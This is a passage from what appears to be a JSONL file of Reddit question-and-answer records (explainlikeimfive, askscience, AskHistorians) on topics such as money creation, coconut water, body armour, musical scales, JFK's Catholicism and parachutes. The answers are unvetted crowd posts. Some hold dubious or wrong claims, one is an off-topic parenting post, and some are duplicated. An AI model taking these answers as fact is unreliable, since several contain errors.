"http://www.dailymail.co.uk/news/article-2709180/Ebola-victim-sparked-fears-global-outbreak-American-Father-died-incurable-virus-Nigeria-taking-international-flight-going-visit-children-Minnesota.html"]]}
{"q_id": "4go7sc", "title": "if all money created is loaned at any interest rate (by the fed), doesn't that mean there will never be enough money to pay back the all the debts?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4go7sc/eli5_if_all_money_created_is_loaned_at_any/", "answers": {"a_id": ["d2j8ynw", "d2j9gu6", "d2jfbs2", "d2joeum", "d2jpduh", "d2jpnt0", "d2jqfhb", "d2jqsmk", "d2jr6ii"], "score": [23, 95, 16, 2, 3, 3, 3, 2, 5], "text": ["No, because it doesn't all have to be paid back at the same time. It's a fundamental basis for why loans work at all. If you always had to have enough cash on hand to pay back a loan, there would be no point in getting a loan in the first place", "You're right, in a sense. If you're imagining a future in which U.S. federal debt is paid down to 0, then you're right. That will never happen. If you're imagining a scenario in which all private citizens and public companies have no debt, that won't happen either. But individuals can pay down their debt, and eventually become lenders. So people are able to use the banking system to create personal wealth from public wealth and when they have more money later, they are able to become part of the banking system.  \n  \nIn a way, you don't want everyone to pay the debt all at once. If magically everyone owned everything they possessed free and clear, they would have less incentive to go to work and do things that need to be done. Also, you would be rewarding those who borrowed the most because they gained the most from the debt forgiveness.  \nA bigger question that I think is worth asking is what percentage of the population has to participate in the borrowing in order for the system to work? Currently, the banks have money to lend but fewer people are applying for loans than before 2008. The banks can't make money if they can't lend it out at higher interest rates than the Fed rate. If people choose to live more within their means in general, what effect does that have on the future economy?", "Explain this back to me: if that were a problem, then how is the US national debt at $15 trillion, while the money supply is around $4 trillion?\n\nThe answer is that the money supply is defined not just by amounts, but by transactions.  Money exists to be traded. If you take $1 trillion and hide it under your mattress, then the money supply is only $3 trillion.  It can go the other way too.  If you spend a dollar on some candy, and the factory spends that dollar paying their worker, who puts that dollar towards their kid's college education, all the way down the line, then what's called the money velocity increases.  When you count all the times the money changes hands over a (say) few years, the money supply usually ends up being bigger than the debt.  \n\nIf it's not, on the other hand, then you have a problem - which does occur from time to time.", "When the Fed creates money, it does not do so exclusively through lending.\n\nMuch of the Fed's policy is open market transactions, buying and selling securities traded on exchanges, for market prices, like anyone else. Much of what they buy is U.S. Treasury Bonds, but that doesn't create new government debt, it just changes who's entitled to interest payments. Bondholders trade their bonds for cash, and nobody ends up owing new debt.", "if the fed makes a profit, the money doesn't vanish. the vast majority of the profits are paid to the treasury, a small part is paid to the member banks. \n\nthese institutions are also the ones that are loaning money from the fed, so that the money more or less flows in a circle.\n\n[source](_URL_0_)\n\n", "There's a lot of misconception around what happens to the money that governments and commercial banks pay back to the Central Bank.\n\nI'm not 100% on this, but from what I remember, the profits the Central bank makes on its loans is *paid to the government.*\n\nSo if you loan to the government or a commercial bank (increasing the money supply,) at 3% interest, there is 100% money but 103% debt - the pyramid scheme situation that does indeed exist and prevents full repayment.\n\nIt's not as drastic as that, however, because the profits from that 3% interest are funneled into government spending.\n\nThat does not mean the government can just borrow and repay ASAP to make a profit though. If I give Uncle Sam $100 and tell him to give me $103, and then after expenses I give him a $1 free and clear. Uncle Sam still had to collect $3 from somewhere, and he'd annihilate the economy (and thus his revenues) if he used this mechanism to make a buck.", "My 7yr old helps me do all of the chores in the house. He loves to read so i dont want to add any negativity with reading for him. But when he takes sweets or wont do his school work, or half asses his own chores then he has to help mom do hers. Especially when it comes to laundry. After 45 mins of separating all his and his sisters clothes, he starts getting apologetic and tired. He is allowed to go to bed early or finish the chore. Done it enough times that even mentioning doing laundry with mom changes his attitude and he swiftly goes off to do his own. \n\nHe does get into some trouble at school, gets distracted and over excited. I don't punish him for it so much as try to understand him better. I take him and his sister twice a week to a bouncy house as a reward of good behavior and to let him release any pent up energy. 2-3 hours of jumpig, climbing, etc, really winds a child down. After wards we cone home and share catch-up time. He's relaxed and able to talk about anything with school that bothers or excited him, etc. Seems to help him focus better at home and allows him to open up more and pinpoint his emotions about how school is and etc.\n\n\nI also have a reward chart. Get 7 gold stars and pick something from the reward box. So a gold star every day for his behavior at school. Works much better than nagging him and forcing him to live up to my adulthood expectations. He has more control over his own life and gets to make his on decisions in this way.\n\nI could go on. But mostly my punishments are weak and not really punishing. If i cant stand by a threat then it just takes away my authority. So instead I compromise and give some room for my children to understand their actions better and have more respect about wasting their time correcting a mistake made out of laziness, stubbornness or whatever.", "As many people have said he, debt is actually a good thing. It keeps the economy going and leads to inflation, which at around 2% is seen as a good thing. US debt is held in the form of bonds. These are sold to banks, individuals like you and me, and other countries. US debt is extremely safe and therefore the government pays very low interest rates on the bonds it issues. A large holder of US bonds is the Federal reserve. When they buy US bills, notes and bonds they are putting more cash into the economy, which in turn give sellers of the securities (debt) more cash. This in turn gives people an incentive to spend or invest the cash they have, which in turn drives the economy. Now since the Fed is a major holder of US securities, they collect the interest that is paid on these securities by the US government. The treasury in turn has a massive balance sheet and ends up giving this money back to the government. This is how the government can inject large amounts of money into the economy (I'm pretty sure it is illegal for the US gov't to print money and this is why the fed does it)\n\nHeres a good overview of the fed:\n_URL_1_\nand a good video that explains how debt affects our modern economy:\n _URL_0_", "As a side note to some of the good answers you've already seen, \"money\" is not the \"value\" of an economy. Money is just a tool of exchange.\n\nThe total value of an economy is much much higher than all of the money in it. If takes $10 in parts, and $10 in labor to create an item with a value of $30. You only need $20 of money to create $30 of value. The value that exists is $30 despite there only being $20 of money."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.publiceye.org/conspire/flaherty/flaherty4.html"], [], [], ["https://www.youtube.com/watch?v=PHe0bXAIuk0", "http://www.cnbc.com/id/43752521"], []]}
{"q_id": "4e3yzv", "title": "how can packaged coconut water that has no preservatives stay fresh?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4e3yzv/eli5_how_can_packaged_coconut_water_that_has_no/", "answers": {"a_id": ["d1wsl9v", "d1ww6oy"], "score": [6, 10], "text": ["It's likely pasteurized and then sealed into airtight containers.\n\nCoconut water also contains almost no fat or sugar and is thus a very poor food source for bacteria.", "Coconut water is naturally antimicrobial.\n\nCoconut water, like many other compounds such as honey, contains some molecules which are antibiotic and antifungal in their nature. If bacteria were to try to eat it, their growth becomes stunted, or they get killed entirely, in the case of bacteriostatic or antibiotic compounds being present.\n\n\"Coconut Water is an Antibacterial. Coconut water contains monolaurin, an antiviral, antibacterial and antiprozoal monoglyceride that is used to kill lipid-coated viruses such as HIV, Herpes, cytomegalovirus, flu and various pathogenic bacteria.\"\n\n\"Three novel antimicrobial peptides have been identified in coconut water which exhibited inhibitory activity against both Gram-positive and Gram-negative bacteria.\"\n\nSide note: honey doesn't go bad for the same reason that sugar, which does not contain any antimicrobial compounds, also won't go bad: there is no water activity. All of the water present in honey is \"tied up\" with glucose molecules, leaving no free water space to support a bacterium's life. This is why fresh bread inside the bag will spoil, but dried croutons wont. Honey does have various antimicrobial compounds as well though, such as methylglyoxal.\n\n_URL_0_\n\nFor other packaged food which doesn't have preservatives, they will last because they are often pasteurized. During packaging, some bacteria makes it inside, but once it is sealed within the package, the whole thing is heated up to high temperatures, killing everything inside. You will actually have dead microorganisms inside the food after pasteurization, but no new live ones can get in, so it doesn't spoil. On occasion, you can get a spoiled natural product; this will happen if there was a tiny flaw in the packaging during shipping or while it's sitting in the store, or if somehow some organisms survived the pasteurization process.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Water_activity"]]}
{"q_id": "mvsm7", "title": "Are there any methods for recovering your voice during illness?", "selftext": "I just started getting sick the other day and have a presentation tomorrow and I feel like my voice is getting more and more raspy. Are there any tricks to remedying this issue?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mvsm7/are_there_any_methods_for_recovering_your_voice/", "answers": {"a_id": ["c348er3", "c349g8i", "c348er3", "c349g8i"], "score": [2, 2, 2, 2], "text": ["Hot lemon tea, cough drops, water, don't do any unnecessary speaking. So if you need your voice for tomorrow, I'd stop talking and just keep a handy little notepad with you for writing to people. Good luck\n", "I don't have any remedies to solve your failing voice, but be sure NOT to whisper, just talk softly.\n\nWhen you whisper you actually pull your vocal chords very tight, and will cause more strain on them, taking longer for them to heal.\n\n[Neat Video](_URL_0_) using a strobe to look directly at someone's vocal chords while they sing and talk.", "Hot lemon tea, cough drops, water, don't do any unnecessary speaking. So if you need your voice for tomorrow, I'd stop talking and just keep a handy little notepad with you for writing to people. Good luck\n", "I don't have any remedies to solve your failing voice, but be sure NOT to whisper, just talk softly.\n\nWhen you whisper you actually pull your vocal chords very tight, and will cause more strain on them, taking longer for them to heal.\n\n[Neat Video](_URL_0_) using a strobe to look directly at someone's vocal chords while they sing and talk."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=ajbcJiYhFKY"], [], ["http://www.youtube.com/watch?v=ajbcJiYhFKY"]]}
{"q_id": "1d0cfx", "title": "what do potentiometers, capacitors and resistors do, and why do we need them?", "selftext": "I know how to look for them online, but i have no idea what the values mean, and why we need them on circuits and stuff like that.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1d0cfx/eli5_what_do_potentiometers_capacitors_and/", "answers": {"a_id": ["c9lopq6"], "score": [12], "text": ["Think of the flow of electricity like the flow of water:  \n\nVoltage (Volts):Water pressure  \nCurrent (Amps):Water flow rate  \n\nUsing that analogy,  \nResistance (Ohms):Resistance to water flow from small diameter pipes. Small pipe, large resistance. Large pipe, small resistance.   \n \nThe key thing to understand about a resistor is Ohm's Law: V/R = I. That is, the current in a circuit (I) is determined by the Voltage applied and the Resistance in the circuit. Or using the water analogy, the water flow rate depends on the water pressure and the pipe resistance. Makes sense, huh?  \n   \nA potentiometer is just a variable resistor. Turn the knob and the resistance changes.     \n  \nA resistor is used mostly to adjust the voltage or current in a particular part of the circuit to adjust them to be within a useful range or to make the various components all work together in the way we want.   \n  \nCapacitance (Farads):Water tank with rubber sheet in the middle. (This is one of the weaker parts of the water analogy, though. It may not be that helpful.)    \n  \nA capacitor is a device that stores energy in the form of an electric field. The simplest version is just two parallel metal plates that are separated by an insulator, such as air.  If you put a voltage on the capacitor, one plate will end up positively charged with respect to the other. Since you have charges separated by space, there's an electric field between them. If you remove the voltage source, the separated charges (and the E-field) remain, at least until the charges \"bleed off\" or are discharged somehow. \n  \n\nAll other things being equal, a capacitor has a larger value if the plate area is larger, if the plates are closer together, or if the material between them has a higher \"dielectric constant\".   \n  \nIn a circuit, capacitors \"like\" changes in current, but \"dislike\" changes in voltage. That is, an empty capacitor will readily take on charge, and a full capacitor will readily push charge out. But the capacitor will tend to oppose rapid voltage changes across it. (Inductors store magnetic energy, and have the opposite responses to charge and voltage as a capacitor.)  \n  \nOne of the common ways to use a capacitor in a circuit is to help filter \"noise\". Small fluctuations in voltage applied across the capacitor will tend to get evened out. If the voltage applied dips a little, the capacitor supplies charge to help keep things the same (until it runs out). If the voltage goes up a little, charge will be put onto the capacitor (until it is full).     \n  \nAnother common use is in a \"tank\" circuit, along with an inductor. Because those two components respond to changing signals differently, it is possible to make a circuit with them that will tend to oscillate back and forth at some frequency. This can be used to generate signals, or to help filter them out.  \n  \nAnother form of tank circuit uses a capacitor and some switching device such as a transistor. The capacitor's desire to oppose sudden voltage changes can be used to help time signals, as the capacitor charges up or discharges down.   \n   \nYou can also do some really cool stuff with capacitors. If you charge a bunch of capacitors up in parallel, they'll all charge up to the same voltage. But if you then re-wire them (usually by using transistors as wiring switches) so that they are in series, + to -, the voltages add up. So by doing this rapidly over and over you can create a \"charge pump\" that can take a small voltage and multiply it to a much larger value.   \n    \nModern \"supercapacitors\" can store very large amounts of charge in a small area by using novel techniques to separate charge. One use of a supercapacitor is to provide a very short term power supply for an electronic device that has lost its normal power source and needs just a bit of time to do something before it runs out of juice.  There is hope that someday we will be able to make superdupercapacitors that can store so much charge that they could be used for things like portable computing devices or even cars.    \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1l6bzn", "title": "why does the musical scale go cdefgab, and not abcdefg?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1l6bzn/eli5_why_does_the_musical_scale_go_cdefgab_and/", "answers": {"a_id": ["cbw6chh", "cbw8bgx", "cbwdjtu", "cbwk8o1"], "score": [31, 4, 2, 2], "text": ["i think the original scale in music theory was A minor. A minor is ABCDEFG. C major is the major equivalent to A minor because it contains the same notes. Major scales became much more popular than minor scales and therefore CDEFGAB became the \"standard\" scale.", "Note that in the scale C-D-E-F-G-A-B, the intervals go: T-T-S-T-T-T-S , where T = Tone = two Semitones.\n\nThis is called the [Ionian Mode](_URL_0_).\n\nBack when Western music was a twinkle in the eye of the church organist,  the notes had all been named.  The church music used a variety of modes (as described in the article I linked above).\n\nIt wasn't until the art of composition started to take off (hundreds of years later than the notes were named), in the early 17th century that we now call the Baroque period, that composers settled on using the Ionian Mode for most compositions.\n\n(NB. I'm sure a better scholar than I will chip in to clarify this, I'm not fully confident I have the time scale correct there).\n\nWhy did they settle on Ionian and not one of the other modes? Well, I don't know, but they must have felt that the Ionian mode was the most aesthetic and allowed for the most interesting compositions to be made.\n\nPerhaps one argument is that this mode is like going up a flight of stairs: you have two big steps and then a small step to rest on the landing, then three big steps, and you finish off with a small step to the top. \n\nComposers still did (and possibly still do) occasionally write compositions in other modes.\n\n", "This is one of many scales. It is probably the first one you hear and therefor the most common because it's a) a major scale (more common in contemporary music) and b) contains no sharp or flat notes, and is therefor easier to teach to beginners! ", "Music educator here!\n\nMiddle C is a reference point for musicians for two reasons:\n\n1. It is usually directly in the center of the keyboard. For beginners and non-pianists, this gives an easy reference point to a simple Ionian (major) scale with no sharps or flats to worry about. \n\n2. The [Grand Staff](_URL_1_) is a large staff utilizing both the Treble (\"G Clef\") and Bass (\"F Clef) staves. \"Middle C\" is the point directly in the center of these two staves. This is the *real* reason it has earned the nickname of \"Middle C.\"\n\n\nAs far as tonal references go, orchestras tend to actually 'tune' to what is known as A440. This frequency is friendly for [equal temperment](_URL_2_). Not sure if this is what you mean by \"starting with A?\"\n\nAny reference to the alphabet in music should be taken with a grain of salt. In early music the only three keys a musician could really use were C, F and B-flat. You can read more about that [here](_URL_0_). The letters are used nowadays to provide an easy reference to certain frequencies used in modern Western music. For example, a C Major scale will contain the same degrees of whole steps and half steps as an F Major scale, but will start at a different frequency. This is why at a karaoke contest, two contestants can sing the same song, in two different keys, and it will still sound familiar to our ears. \n\nI hope I've answered some questions! :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Mode_%28music%29#Ionian_.28I.29"], [], ["http://en.wikipedia.org/wiki/Key_signature#History", "http://www.dummies.com/how-to/content/the-grand-staff-and-ledger-lines-of-piano-music0.html", "http://en.wikipedia.org/wiki/Equal_temperament"]]}
{"q_id": "88wlhx", "title": "how does military body armour disperse the energy and momentum in a bullet to protect soldiers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/88wlhx/eli5_how_does_military_body_armour_disperse_the/", "answers": {"a_id": ["dwnrty1"], "score": [2], "text": ["Most military armor is called ceramic because it's a hard plate that combines various types of plastics, polymers, and other composite materials.  Along with this are several layers of loose kevlar that act as energy absorbers and as spall protectors.\n\nImagine you have a hard wood plate that's wrapped in a blanket worn on your chest.  Then imagine a really hard punch to your chest.  This is basically how a bullet is stopped and the energy dispersed.  Kevlar and most soft armor has an issue with being too body conforming and basically causing the round to punch the wearer with backface deformation:\n\nSoft armor:\n\n_URL_1_\n\nVS Hard armor (first video is regular SAPI armor being shot with high velocity explosive anti-aircraft rounds and the second is steel ar500 being shot with a high velocity steel core or partial steel core):\n\n_URL_0_\n\n_URL_2_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=il5Mi9wtAUg", "https://www.youtube.com/watch?v=IYMkX9fwWCg", "https://www.youtube.com/watch?v=NC176Sx6JuA"]]}
{"q_id": "1w2xb3", "title": "Were astronauts ever given training in First Contact scenarios or procedures?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1w2xb3/were_astronauts_ever_given_training_in_first/", "answers": {"a_id": ["ceyazey", "ceyh5t1", "ceynhkq", "ceyowop"], "score": [364, 98, 3, 21], "text": ["Soviet Cosmonauts went into space armed with the [TP-82](_URL_0_) - essentially the Swiss army knife of firearms. A shotgun, carbine, and machete all in one.\n\nHowever, those were taken most for reentry into the Russian wilderness and incase they landed in hostile territory, rather than an armed defense against aliens.\n\nTo my knowledge there hasn't ever been specific, definitive training for astronauts(Or cosmonauts) for first contact.", "On a related note, does any country on earth have any official procedure whatsoever when it comes to dealing with extra-terrestrials? ", "Another noteworthy bit of info on this.  SETI uses the RIO scale for gauging how important any extra terrestrial communication is. It's described by the website as, \"It is an ordinal scale between zero and ten, used to quantify the impact of any public announcement regarding evidence of extraterrestrial intelligence.\" \n_URL_0_\n\nPost Script: I know that the YouTube channel, \"V sauce\", has an interesting video on the topic as well, it's worth observing of you're interested in this subject.", "I think many people may have very bad concepts of the size of our solar system with respect to the size of the galaxy and greater universe. Preparing lunar astronauts for First Contact is like giving an American child a beginner's course in Chinese before he leaves bed to brush his teeth so that he can communicate with any Chinese people he might bump into on his way to the bathroom."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://uploads.neatorama.com/wp-content/uploads/2011/04/s_640x_480-tm-tfb-500x375.jpg"], [], ["http://www.setileague.org/iaaseti/rioscale.htm"], []]}
{"q_id": "10vr5p", "title": "What type of pen/pencil will make my notes last for hundreds of years?", "selftext": "I write in a lot of notebooks and I was just wondering if there is a particular type of pen or pencil that will create markings that will remain eligible after hundreds of years? Is a gel pen better than a biro? Is there something that will never fade? Does the paper play a role in longevity?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10vr5p/what_type_of_penpencil_will_make_my_notes_last/", "answers": {"a_id": ["c6h44rg", "c6h7yf6", "c6h8a77"], "score": [2, 3, 2], "text": ["I'm not an expert on this, however, I do print photos and when printing photos two things are important: the ink/dye, and the paper. Good archival paper has low acidity and will preserve colours longer, handling the paper will reduce its lifetime due to oils from your skin. Generally dry pigment-style colours will last longer than inks dyes. In practice this means notes printed on archival paper using either a lasejet (toner) or a pencil will last longer than using a pen, just avoid excessive handling/smudging. ", "We know pencil will last; Leonardo da Vinci used dry medium extensively, including charcoal and pencil. Whether the pencil of today is sufficiently like that of ancient media would be up for discussion. The importance of permanence has brought about a term- \"archival\"- that is used to describe media that will last. [These products](_URL_1_) are considered archival.\n\nFor my lab notes, I use Sakura pens. Sharpie will fade, even when exposed to little more than fluorescent lighting in labs. The [Sakura IdentI-Pen](_URL_2_) is considered archival, and (in my experience) is superior to Sharpie in every way. They are very affordable [through art supply.](_URL_0_)", "Registrar's ink is a modern take on iron gall ink and intended for long life. I think it is only available for fountain pens so it may not be what you are looking for. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.dickblick.com/products/sakura-identi-pen-dual-point-marking-pen/", "http://www.gaylord.com/listing.asp?H=3&amp;PCI=127995", "http://www.sakuraofamerica.com/Marker-permanent"], []]}
{"q_id": "2jzbj8", "title": "How important was JFK's Catholicism on the 1960 Presidential election?", "selftext": "Been doing some casual reading on this and I'm beginning to think that it's been exaggerated by some authors. I know the basic argument for both sides - large anti-catholic feeling versus the increased mobilisation of Catholics into a huge voting machine but was just wondering what other sides there are to it.\n\nThanks in advance, I think what you guys do here is fantastic! ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2jzbj8/how_important_was_jfks_catholicism_on_the_1960/", "answers": {"a_id": ["clgkf2a", "clgmblj"], "score": [6, 30], "text": ["I think that once he won a heavily Protestant state like West Virginia, the American media realized that his religion probably wasn't going to be a big deal. I do know that many fringe Protestant radio hosts tried to dissuade Americans from voting for a Catholic, but it kind of backfired. American Catholics, especially on the East Coast, who were originally going to vote Republican began to suddenly rally behind Kennedy as these anti-Catholic insults began to pick up. Also some American Protestants and Republicans started getting embarrassed by their claims that he was going to be controlled by the Pope, and began to distance themselves from their cringe-worthiness.\nSo I think Catholics played a big part in him picking up votes, but he couldn't win the election through a minority vote alone. He really needed LBJ on his team as well to pick up Southern States that the Democrats desperately needed. And let's be honest, it'd be hard to argue that JFK was truly the underdog. Sure Nixon was recently the Vice President, but Eisenhower really didn't leave the Republicans with a guaranteed landslide win, and at some points Nixon had to distance himself from Ike to prevent more campaign damage. JFK may have been Irish-Catholic; but he came from a huge family of extremely wealthy Irish-Catholics with extensive contacts with the media, the East Coast elites, many American businesses, and even some mobsters. Compared to Nixon's impoverished upbringing, JFK might as well have been aristocracy.", "After the first week of the campaign, a prominent protestant leader, Norman Vincent Peale, claimed that a Catholic president would be obliged to obey the Pope or else be a hypocrit. Following this, Kennedy felt that the upcoming campaign would not be between a Republican and a Democrat, but rather between a Protestant and a Catholic, and he thought it was going to be a very hard battle to win.\n\nTherefore, he addressed the Catholic issue shortly afterwards at a meeting of several hundred Protestant priests in Houston (speech can be found here: _URL_0_). The general gist of his speech is that he would not take kindly to any influence the Catholic church might try to exert on his decision-making and would not answer to any demands. After this, the Catholicism issue became less pertinent in political debate and the focus shifted to other issues.\n\nAs an interesting sidenote, Catholic leaders had mixed feelings about his candidature and many voted for Nixon, as they feared a Catholic president would lead to increased religious tensions and sectarian violence.\n\nSource: Geoffrey Perret, Jack: A life like no other"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.jfklibrary.org/Asset-Viewer/ALL6YEBJMEKYGMCntnSCvg.aspx"]]}
{"q_id": "4dyzr6", "title": "what is the purpose of the tiny parachute that is usually on top of the large parachute", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4dyzr6/eli5_what_is_the_purpose_of_the_tiny_parachute/", "answers": {"a_id": ["d1vl6ox", "d1vl7uc", "d1vt3dp", "d1vu4e9", "d1vwtnh", "d1vxec3", "d1vxy0o", "d1vzunp", "d1w10vu", "d1w53xz", "d1w7wjh", "d1wdpld"], "score": [3805, 344, 56, 297, 39, 80, 8, 10, 10, 11, 7, 4], "text": ["It's called a pilot chute. It's a miniature parachute that is several feet in diameter and is attached to the peak of a parachute and whose function is to draw the parachute out of its pack and extend it in position for opening.", "It's called a [drogue parachute](_URL_0_). It's to slow the payload down enough that the main parachute won't be torn apart when it opens, and to pull it out of its package.", "If the small one wasn't there' a possibility the big one would not open.  It pulls the sleeve holding the main chute out of the backpack.", "There are a few ways to deploy a modern parachute system. Here's a quick run-through of the more common forms.\n\nOn a typical sport skydiving rig, deployment is handled by throwing that smaller pilot chute out of a small pouch on the bottom of the container [the \"backpack\"]. That little drogue parachute catches air, pulls the bridle it's attached to taut, and removes the pin which holds the container [\"backpack\"] closed.\n\nOnce the container is open, that same little parachute drags the larger parachute away from the skydiver in a \"deployment bag\". This bag keeps the larger parachute contained, while slowly releasing the larger parachute's lines on the way. Once that little drogue parachute has pulled the large parachute [still in the deployment bag] to the appropriate distance from the skydiver, the deployment bag opens and larger parachute begins to inflate.\n\nAs soon as the larger parachute is out of the deployment bag, the smaller pilot chute actually collapses. There's an extra line on the inside of the pilot chute lanyard which collapses the pilot chute to reduce its drag on the main parachute after deployment. The collapsed pilot chute and empty deployment bag are what you see trailing along behind a fully deployed sport parachute.\n\nTheres a nice explanation with pictures here: _URL_0_\n\nOn certain high-performance main parachutes, there is a way to release the pilot chute and deployment bag assembly from the top of the main parachute after deployment. These very high-performance canopies would not perform properly with the extra drag of the deployment system on top, so these parts are released and reeled in by the skydiver before executing a landing. \n\n\nAnother system you may have seen would be the tandem parachute system. Instead of using a pilot chute, they are deployed from a drogue parachute.\n\nA tandem skydive pair has the same approximate surface area of one skydiver, but roughly double the weight. Without any other changes, the tandem pair would fall significantly faster than a single skydiver in the same body position. This is where the drogue comes in.\n\nThe tandem master deploys the drogue parachute shortly after exiting the aircraft by throwing it from a pocket on the bottom of the container. That drogue parachute inflates and provides the required amount of drag to slow the tandem pair to a normal freefall speed [roughly 120mph]. A drogue has a very different design than a pilot chute - it is engineered to withstand the different stresses of its modified task.\n\nWhen it's time to deploy, the drogue is released by pulling on a handle. The handle pulls a pin, which allows the drogue to drag the main parachute out of the container. The rest of the deployment process is similar to the sport parachute above.\n\n\nFinally, there are spring-loaded pilot chutes. These are generally only used on reserve parachutes these days.\n\nThis works how you'd think. The pilot chute has a spring inside of it which is compressed in a packed reserve container. To deploy, the skydiver would pull a handle which is connected to the pin keeping the reserve container closed. As soon as that pin is pulled, the pilot chute shoots out of the container and inflates.\n\nThe rest of the deployment process is similar to above. The pilot chute is attached to a lanyard, which pulls the reserve parachute out of the container. In this case, however, the pilot chute and deployment bag actually release from the reserve parachute and must be located afterwards. Generally speaking when you're using your reserve parachute, you're not enormously worried about having to hunt for the freebag.\n\nThis isn't exactly an ELI5 answer. But hopefully it helps explain.\n\nTL;DR - It's either a pilot chute or a drogue chute. Both are used in deployment of the larger main parachute. The latter is also used during freefall on a tandem jump to slow freefall speed and stabilize the jumpers.", "Rule 2, anyone?  This can literally be answered by Googling four words: \"What's the little parachute\"", "USAF Egress technician here - I work on F-22 Ejection Seats for a living. There are two primary purposes of the smaller parachutes. \n\nThe first involves the drogue chute, where the parachute deploys to drastically slow down a seat during ejection to prevent trauma from the excessive g-forces the pilot endures, depending on the mode of ejection. This prevents a snapped neck or similar acceleration induced injuries. The seats punch pilots out at 14Gs and 5,000lbs of thrust in less than half of a second.\n\nThe next parachute is the spring-loaded pilot chute, and is used to quickly deploy the larger chute, because the smaller chute opens faster, and the drag pulls the larger one out and open.\n\n*EDIT: Drogue not Drove. Autocorrect sucks.", "It depends on the parachute. Personal parachutes have what is called a pilot chute. This is pulled at the time of deployment. Deployment takes place after tracking away from others skydives an agreed upon heights. Normally 5,000-5,500 feet depending on the amount of people participating.\n\n The pilot chute is pulled out and thrown with an extended arm to the right. This catches air and pulls the bridle that attaches to a pin which closes the container. The action of the pin being pulled by the length of bridle from the pin to the pilot chute is referred to as \"snatch force\".\n\n Once the pin is extracted the bridle continues to pull the parachute out of the bag by extending and pulling the lines out of their respective rubber band stows (unless you have a magnetic bag for free stowing).\n\n The parachute begins to catch air and the cells inflate causing the user to drastically slow down.\n\n Tandem rigs have much larger pilot chutes called drogues. These are several feet in diameter depending on make and model. They are thrown shortly after leaving the plane in the same fashion as a pilot chute.\n\n They are used to create stability and slow the tandem master and passenger down to ~120mph (depending on weight). Think of a bauble in the water. Upon deployment the tandem master pulls a release located on the chest or near the hip (again, different manufacturer's have different deployment methods). This then follows the same principle of a personal parachute (or rig for slang).\n\n\n The pilot chutes in both case then deflate and trail behind the main until you land and it is packed again.\n\nEDIT: spelling and structure. On phone.\n\n Bonus: [Footage of me doing a tandem]( _URL_0_)\n I'm the instructor.", "Called a pilot chute(can be anywhere from 24 to 32 inch depending on the size of the canopy it is deploying) and it is attached to the deployment bag via a 7 to 9ft bridle and is located in a 'pocket' at the bottom of the container called a BOC(bottom of container). When deployed it inflates and extracts the closing pin which allows the container to open, then extracts the d-bag from the container and the lines unstow from the d-bag. As the last of the lines unstow it allows the bag to open and the canopy is extracted and inflates. The pilot chute then collapses to reduce drag when flying the canopy. This is for a solo rig. On a tandem rig it is called a drogue parachute and is much bigger. It's function then is also to help stabilise the tdm in freefall and slow down the freefall to approximately the freefall speed of a solo jumper flying flat(on his belly and approx 120mph/200kph). Without it deployed the tdm would accelerate to a much higher speed due to the much heavier combined weight of the instructor and passenger but due to them being one behind the other  they only cause about the same drag as a single person and the faster you are travelling the faster the canopy deploys and inflates. Not good for the canopy or the people. It stays inflated through the entire freefall and doesn't begin the opening sequence until another deployment handle(drogue release) is pulled to extract the pin which opens the container. Then it works exactly as a pilot chute does. I am a full-time skydiver and Tdm instructor", "It's called a pilot chute. It's a miniature parachute that is several feet in diameter and is attached to the peak of a parachute and whose function is to draw the parachute out of its pack and extend it in position for opening", "You're talking about on a tandem skydive correct? The little white one is called a drouge.  It keep us falling at the speed of one person instead of 2 so that the parachute dont explode when it opens.\n\nSource - I'm a tandem Instructor..going back up in 5 mins.", "The little parachute that you see there is helping the bigger parachute to do his job.  You see honey, sometimes we all need help, and it's okay.  Some people have jobs where all they do is help people.  So the next time I am asking you to help fold the laundry or set the table just pretend I am a big parachute and you're my little parachute, and if I don't get some help we might crash into the ground at 122 miles per hour.  You don't want that, do you?", "If you are talking about \"tandem\" skydiving, where your friend is attached to a skydiving instructor, and you can see a tiny parachute on top of the two of them, that is called a \"drogue\" and it slows the two of them down to 'normal' skydiving speeds, so that the parachute doesn't break (and really hurts) on opening.  The drogue also helps the larger parachute pull out of the container on deployment.\n\nIf your are talking about a solo skydiving rig, there is a small 'pilot chute' which the jumper throws into the wind and pulls a bridle, which pulls a pin to open the container, and continues to pull the main canopy out.\n\nOn a solo rig, there is also a reserve parachute, with a slightly different system.  It has a similar pilot chute, but with a spring inside of it that pops out and away from the jumper to get into clean air and open the reserve parachute.  This is for a fast opening, and also in the event that the skydiver is unconscious and a computer (called an AAD) opens the reserve pilot chute automatically.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Drogue_parachute"], [], ["http://adventure.howstuffworks.com/skydiving4.htm"], [], [], ["https://www.youtube.com/watch?app=desktop&amp;persist_app=1&amp;v=7UzD6ur18-o"], [], [], [], [], []]}
